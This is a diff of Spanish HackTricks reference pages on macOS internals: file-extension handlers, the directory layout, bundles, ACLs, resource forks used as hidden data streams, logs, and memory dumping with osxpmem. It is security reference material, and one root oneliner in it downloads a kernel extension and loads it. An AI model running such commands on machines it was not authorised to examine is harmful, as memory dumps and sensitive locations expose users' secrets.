* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,70 @@
|
|||
# Aplicaciones de extensión de archivo de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Aplicaciones de extensión de archivo
|
||||
|
||||
La siguiente línea puede ser útil para encontrar las aplicaciones que pueden abrir archivos según su extensión:
|
||||
```
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
O puedes usar algo como [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
|
||||
```
|
||||
./swda getSchemes #Get all the available schemes
|
||||
./swda getApps #Get all the apps declared
|
||||
./swda getUTIs #Get all the UTIs
|
||||
./swda getHandler --URL ftp #Get ftp handler
|
||||
```
|
||||
También puedes verificar las extensiones soportadas por una aplicación haciendo:
|
||||
```
|
||||
cd /Applications/Safari.app/Contents
|
||||
grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
||||
<string>css</string>
|
||||
<string>pdf</string>
|
||||
<string>webarchive</string>
|
||||
<string>webbookmark</string>
|
||||
<string>webhistory</string>
|
||||
<string>webloc</string>
|
||||
<string>download</string>
|
||||
<string>safariextz</string>
|
||||
<string>gif</string>
|
||||
<string>html</string>
|
||||
<string>htm</string>
|
||||
<string>js</string>
|
||||
<string>jpg</string>
|
||||
<string>jpeg</string>
|
||||
<string>jp2</string>
|
||||
<string>txt</string>
|
||||
<string>text</string>
|
||||
<string>png</string>
|
||||
<string>tiff</string>
|
||||
<string>tif</string>
|
||||
<string>url</string>
|
||||
<string>ico</string>
|
||||
<string>xhtml</string>
|
||||
<string>xht</string>
|
||||
<string>xml</string>
|
||||
<string>xbl</string>
|
||||
<string>svg</string>
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,172 @@
|
|||
# Archivos, Carpetas, Binarios y Memoria de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Estructura de jerarquía de archivos
|
||||
|
||||
* **/Applications**: Las aplicaciones instaladas deberían estar aquí. Todos los usuarios podrán acceder a ellas.
|
||||
* **/bin**: Binarios de línea de comandos.
|
||||
* **/cores**: Si existe, se utiliza para almacenar volcados de núcleo.
|
||||
* **/dev**: Todo se trata como un archivo, por lo que puede haber dispositivos de hardware almacenados aquí.
|
||||
* **/etc**: Archivos de configuración.
|
||||
* **/Library**: Se pueden encontrar muchos subdirectorios y archivos relacionados con preferencias, cachés y registros. Existe una carpeta Library en la raíz y en el directorio de cada usuario.
|
||||
* **/private**: No documentado, pero muchos de los directorios mencionados son enlaces simbólicos al directorio privado.
|
||||
* **/sbin**: Binarios esenciales del sistema (relacionados con la administración).
|
||||
* **/System**: Archivo para hacer que OS X funcione. Aquí debería encontrar principalmente archivos específicos de Apple (no de terceros).
|
||||
* **/tmp**: Los archivos se eliminan después de 3 días (es un enlace suave a /private/tmp).
|
||||
* **/Users**: Directorio de inicio para los usuarios.
|
||||
* **/usr**: Configuración y binarios del sistema.
|
||||
* **/var**: Archivos de registro.
|
||||
* **/Volumes**: Las unidades montadas aparecerán aquí.
|
||||
* **/.vol**: Al ejecutar `stat a.txt`, se obtiene algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...`, donde el primer número es el número de identificación del volumen donde existe el archivo y el segundo es el número de inodo. Puede acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753`
|
||||
|
||||
### Carpetas de aplicaciones
|
||||
|
||||
* Las **aplicaciones del sistema** se encuentran en `/System/Applications`.
|
||||
* Las **aplicaciones instaladas** suelen instalarse en `/Applications` o en `~/Applications`.
|
||||
* Los **datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y en `~/Library/Application Support` para las aplicaciones que se ejecutan como el usuario.
|
||||
* Los **daemonios de aplicaciones de terceros** que **necesitan ejecutarse como root** suelen estar ubicados en `/Library/PrivilegedHelperTools/`.
|
||||
* Las aplicaciones **sandboxed** se asignan a la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta con el nombre del identificador de paquete de la aplicación (`com.apple.Safari`).
|
||||
* El **kernel** se encuentra en `/System/Library/Kernels/kernel`.
|
||||
* Las **extensiones de kernel de Apple** se encuentran en `/System/Library/Extensions`.
|
||||
* Las **extensiones de kernel de terceros** se almacenan en `/Library/Extensions`.
|
||||
|
||||
### Archivos con información sensible
|
||||
|
||||
macOS almacena información como contraseñas en varios lugares:
|
||||
|
||||
{% content-ref url="macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Extensiones específicas de OS X
|
||||
|
||||
* **`.dmg`**: Los archivos de imagen de disco de Apple son muy frecuentes para los instaladores.
|
||||
* **`.kext`**: Debe seguir una estructura específica y es la versión de OS X de un controlador (es un paquete).
|
||||
* **`.plist`**: También conocido como lista de propiedades, almacena información en formato XML o binario.
|
||||
* Pueden ser XML o binarios. Los binarios se pueden leer con:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: Aplicaciones de Apple que siguen la estructura de directorios (es un paquete).
|
||||
* **`.dylib`**: Bibliotecas dinámicas (como los archivos DLL de Windows).
|
||||
* **`.pkg`**: Son iguales que xar (formato de archivo de archivo extensible). El comando installer se puede usar para instalar el contenido de estos archivos.
|
||||
* **`.DS_Store`**: Este archivo está en cada directorio, guarda los atributos y personalizaciones del directorio.
|
||||
* **`.Spotlight-V100`**: Esta carpeta aparece en el directorio raíz de cada volumen del sistema.
|
||||
* **`.metadata_never_index`**: Si este archivo está en la raíz de un volumen, Spotlight no indexará ese volumen.
|
||||
* **`.noindex`**: Los archivos y carpetas con esta extensión no serán indexados por Spotlight.
|
||||
|
||||
### Paquetes de macOS
|
||||
|
||||
Básicamente, un paquete es una **estructura de directorios** dentro del sistema de archivos. Curiosamente, por defecto este directorio **parece un objeto único en Finder** (como `.app`). 
|
||||
|
||||
{% content-ref url="macos-bundles.md" %}
|
||||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Permisos especiales de archivos
|
||||
|
||||
### Permisos de carpeta
|
||||
|
||||
En una **carpeta**, **leer** permite **listarla**, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **atravesar** el directorio. Por lo tanto, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde no tiene permiso de **ejecución no podrá leer** el archivo.
|
||||
|
||||
### Modificadores de bandera
|
||||
|
||||
Hay algunas banderas que se pueden establecer en los archivos que harán que el archivo se comporte de manera diferente. Puede **verificar las banderas** de los archivos dentro de un directorio con `ls -lO /path/directory`
|
||||
|
||||
* **`uchg`**: Conocida como bandera **uchange**, evitará cualquier acción que cambie o elimine el **archivo**. Para establecerlo, haga: `chflags uchg file.txt`
|
||||
* El usuario root podría **eliminar la bandera** y modificar el archivo.
|
||||
* **`restricted`**: Esta bandera hace que el archivo esté **protegido por SIP** (no se puede agregar esta bandera a un archivo).
|
||||
* **`Sticky bit`**: Si un directorio tiene un bit pegajoso, **solo** el **propietario de los directorios o root pueden renombrar o eliminar**
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
Puedes **leer los ACLs** del archivo con:
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
0: group:everyone deny delete
|
||||
```
|
||||
Puedes encontrar **todos los archivos con ACLs** con (esto es muuuy lento):
|
||||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
### Recursos Fork | ADS de macOS
|
||||
|
||||
Esta es una forma de obtener **Flujos de Datos Alternativos en máquinas MacOS**. Puedes guardar contenido dentro de un atributo extendido llamado **com.apple.ResourceFork** dentro de un archivo guardándolo en **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
||||
xattr -l a.txt #Read extended attributes
|
||||
com.apple.ResourceFork: Hello Mac ADS
|
||||
|
||||
ls -l a.txt #The file length is still q
|
||||
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
|
||||
```
|
||||
Puedes **encontrar todos los archivos que contienen este atributo extendido** con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
```
|
||||
## **Binarios universales y** formato Mach-o
|
||||
|
||||
Los binarios de Mac OS suelen compilarse como **binarios universales**. Un **binario universal** puede **soportar múltiples arquitecturas en el mismo archivo**.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Volcado de memoria de macOS
|
||||
|
||||
{% content-ref url="macos-memory-dumping.md" %}
|
||||
[macos-memory-dumping.md](macos-memory-dumping.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Archivos de categoría de riesgo de Mac OS
|
||||
|
||||
Los archivos `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` contienen el riesgo asociado a los archivos dependiendo de la extensión del archivo.
|
||||
|
||||
Las posibles categorías incluyen las siguientes:
|
||||
|
||||
* **LSRiskCategorySafe**: **Totalmente** **seguro**; Safari se abrirá automáticamente después de la descarga.
|
||||
* **LSRiskCategoryNeutral**: Sin advertencia, pero **no se abre automáticamente**.
|
||||
* **LSRiskCategoryUnsafeExecutable**: **Desencadena** una **advertencia** "Este archivo es una aplicación...".
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Esto es para cosas como archivos que contienen un ejecutable. **Desencadena una advertencia a menos que Safari pueda determinar que todos los contenidos son seguros o neutrales**.
|
||||
|
||||
## Archivos de registro
|
||||
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contiene información sobre archivos descargados, como la URL desde donde se descargaron.
|
||||
* **`/var/log/system.log`**: Registro principal de los sistemas OSX. com.apple.syslogd.plist es responsable de la ejecución del registro del sistema (puede verificar si está desactivado buscando "com.apple.syslogd" en `launchctl list`.
|
||||
* **`/private/var/log/asl/*.asl`**: Estos son los registros del sistema de Apple que pueden contener información interesante.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Almacena archivos y aplicaciones accedidos recientemente a través de "Finder".
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Almacena elementos para iniciar al arrancar el sistema.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: Archivo de registro para la aplicación DiskUtility (información sobre unidades, incluidas las USB).
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Datos sobre puntos de acceso inalámbricos.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lista de demonios desactivados.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,49 @@
|
|||
# Bundles de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Básicamente, un bundle es una **estructura de directorios** dentro del sistema de archivos. Curiosamente, por defecto este directorio **parece un objeto único en Finder**.
|
||||
|
||||
El bundle más **común** que encontraremos es el **bundle `.app`**, pero muchos otros ejecutables también se empaquetan como bundles, como **`.framework`** y **`.systemextension`** o **`.kext`**.
|
||||
|
||||
Los tipos de recursos contenidos en un bundle pueden consistir en aplicaciones, bibliotecas, imágenes, documentación, archivos de encabezado, etc. Todos estos archivos están dentro de `<aplicación>.app/Contents/`.
|
||||
```bash
|
||||
ls -lR /Applications/Safari.app/Contents
|
||||
```
|
||||
* `Contents/_CodeSignature`
|
||||
|
||||
Contiene información de **firmado de código** sobre la aplicación (es decir, hashes, etc.).
|
||||
* `Contents/MacOS`
|
||||
|
||||
Contiene el **binario de la aplicación** (que se ejecuta cuando el usuario hace doble clic en el icono de la aplicación en la interfaz de usuario).
|
||||
* `Contents/Resources`
|
||||
|
||||
Contiene **elementos de la interfaz de usuario de la aplicación**, como imágenes, documentos y archivos nib/xib (que describen varias interfaces de usuario).
|
||||
* `Contents/Info.plist`\
|
||||
El "archivo de configuración principal" de la aplicación. Apple señala que "el sistema depende de la presencia de este archivo para identificar información relevante sobre la aplicación y cualquier archivo relacionado".
|
||||
* Los **archivos Plist** contienen información de configuración. Puede encontrar información sobre el significado de las claves plist en [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html)
|
||||
* Las parejas que pueden ser de interés al analizar una aplicación incluyen:\\
|
||||
|
||||
* **CFBundleExecutable**
|
||||
|
||||
Contiene el **nombre del binario de la aplicación** (que se encuentra en Contents/MacOS).
|
||||
|
||||
* **CFBundleIdentifier**
|
||||
|
||||
Contiene el identificador de paquete de la aplicación (a menudo utilizado por el sistema para **identificar globalmente** la aplicación).
|
||||
|
||||
* **LSMinimumSystemVersion**
|
||||
|
||||
Contiene la **versión más antigua** de **macOS** con la que es compatible la aplicación.
|
|
@ -0,0 +1,66 @@
|
|||
# Volcado de memoria de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Artefactos de memoria
|
||||
|
||||
### Archivos de intercambio
|
||||
|
||||
* **`/private/var/vm/swapfile0`**: Este archivo se utiliza como **caché cuando la memoria física se llena**. Los datos en la memoria física se enviarán al archivo de intercambio y luego se intercambiarán de nuevo en la memoria física si se necesitan de nuevo. Pueden existir más de un archivo aquí. Por ejemplo, puede ver swapfile0, swapfile1, y así sucesivamente.
|
||||
* **`/private/var/vm/sleepimage`**: Cuando macOS entra en **hibernación**, **los datos almacenados en la memoria se colocan en el archivo sleepimage**. Cuando el usuario vuelve y despierta la computadora, la memoria se restaura desde sleepimage y el usuario puede continuar donde lo dejó.
|
||||
|
||||
Por defecto, en los sistemas modernos de MacOS, este archivo estará encriptado, por lo que puede que no sea recuperable.
|
||||
|
||||
* Sin embargo, la encriptación de este archivo podría estar desactivada. Comprueba la salida de `sysctl vm.swapusage`.
|
||||
|
||||
### Volcado de memoria con osxpmem
|
||||
|
||||
Para volcar la memoria en una máquina MacOS, puedes usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Nota**: Las siguientes instrucciones solo funcionarán para Mac con arquitectura Intel. Esta herramienta está ahora archivada y la última versión fue en 2017. El binario descargado usando las instrucciones a continuación se dirige a chips Intel ya que Apple Silicon no existía en 2017. Puede ser posible compilar el binario para la arquitectura arm64, pero tendrás que intentarlo por ti mismo.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
||||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
Si encuentras este error: `osxpmem.app/MacPmem.kext no se pudo cargar - (libkern/kext) fallo de autenticación (permisos/propietario del archivo); revisa los registros del sistema/kernel para encontrar errores o intenta con kextutil(8)` Puedes solucionarlo haciendo:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
Otros errores pueden ser solucionados permitiendo la carga del kext en "Seguridad y privacidad --> General", simplemente permitiéndolo.
|
||||
|
||||
También puedes usar este **oneliner** para descargar la aplicación, cargar el kext y volcar la memoria:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo su
|
||||
cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,205 @@
|
|||
# Ubicaciones Sensibles de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
